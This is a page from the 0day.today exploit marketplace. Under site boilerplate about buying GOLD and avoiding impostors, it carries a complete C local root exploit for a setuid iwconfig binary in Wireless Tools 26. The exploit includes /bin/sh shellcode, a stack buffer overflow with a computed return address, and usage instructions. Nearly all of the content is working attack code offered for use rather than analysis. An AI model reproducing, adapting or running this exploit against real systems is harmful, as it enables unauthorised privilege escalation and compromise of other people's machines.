0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Wireless Tools 26 (iwconfig) Local Root Exploit (some setuid)
============================================================= Wireless Tools 26 (iwconfig) Local Root Exploit (some setuid) ============================================================= // (if the iwconfig executable is setuid) /str0ke #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> /* 45 Byte /bin/sh >> http://www.milw0rm.com/id.php?id=1169 */ char shellcode[]= "\x31\xc0\x31\xdb\x50\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69\x6e\x89" "\xe3\x50\x53\x89\xe1\x31\xd2\xb0" "\x0b\x51\x52\x55\x89\xe5\x0f\x34" "\x31\xc0\x31\xdb\xfe\xc0\x51\x52" "\x55\x89\xe5\x0f\x34"; int main(int argc,char **argv){ char buf[96]; long esp, *addr_ptr; unsigned long ret; int i, offset; unsigned long sp(void) { __asm__("movl %esp, %eax");} char *prog[]={argv[1],buf,NULL}; char *env[]={"3v1lsh3ll0=",shellcode,NULL}; if (argc >= 2) { printf("\n*********************************************\n"); printf(" iwconfig Version 26 Localroot Exploit \n"); printf(" Coded by Qnix[at]bsdmail[dot]org \n"); printf("*********************************************\n\n"); } else { printf("\n*********************************************\n"); printf(" iwconfig Version 26 Localroot Exploit \n"); printf(" Coded by Qnix[at]bsdmail[dot]org \n"); printf("*********************************************\n\n"); printf("\n USEAGE: ./iwconfig-exploit <iwconfig FULLPATH e.g /sbin/iwconfig or /usr/sbin/iwconfig>\n\n"); return 1; } offset = 0; esp = sp(); ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06; printf("[~] S-p.ESP : 0x%x\n", esp); printf("[~] O-F.ESP : 0x%x\n", offset); printf("[~] Return Addr : 0x%x\n\n", ret); memset(buf,0x41,sizeof(buf)); memcpy(&buf[92],&ret,4); execve(prog[0],prog,env); } # 0day.today [2024-11-16] #